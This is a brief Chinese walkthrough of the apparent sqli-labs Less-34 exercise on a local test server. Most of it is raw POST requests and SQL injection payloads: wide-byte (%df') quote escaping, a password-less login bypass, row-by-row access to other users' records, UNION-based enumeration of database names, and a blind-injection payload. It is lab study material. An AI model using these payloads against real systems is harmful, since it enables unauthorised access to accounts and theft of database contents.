表單 , 需要POST提交 , 這次真是得用Burp了
POST /Less-34/ HTTP/1.1
Host: 127.0.0.1
Content-Length: 37
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://127.0.0.1/Less-34/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Connection: close
uname=admin%df'&passwd=&submit=Submit
響應體中出現SQL語法錯誤 :
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''admin?\'' and password='' LIMIT 0,1' at line 1
重新構造畸形用戶名 :
POST /Less-34/ HTTP/1.1
Host: 127.0.0.1
Content-Length: 46
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://127.0.0.1/Less-34/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Connection: close
uname=admin%df'or%201%23&passwd=&submit=Submit
我們沒有輸入密碼 , 卻成功登陸 , 已越權
或者可以這樣 , 獲取別的用戶的信息 , 水平越權
uname=admin%df'or%201%20limit%201,1%23&passwd=&submit=Submit
uname=admin%df'or%201%20limit%202,1%23&passwd=&submit=Submit
uname=admin%df'or%201%20limit%203,1%23&passwd=&submit=Submit
...
由于這里會將數據庫中匹配的用戶名和密碼回顯在頁面 , 這樣我們可以利用這個注入點進行明注 , 查詢整個數據庫的其他數據 :
uname=admin%df'or%200%20union%20select%201,1%23&passwd=&submit=Submit
uname=admin%df'or%200%20union%20select%201,group_concat(schema_name)%20from%20information_schema.schemata%23&passwd=&submit=Submit
盲注
還是利用之前的通殺Payload
uname=admin%df'or()or%200%23&passwd=&submit=Submit
括號的地方可以進行盲注
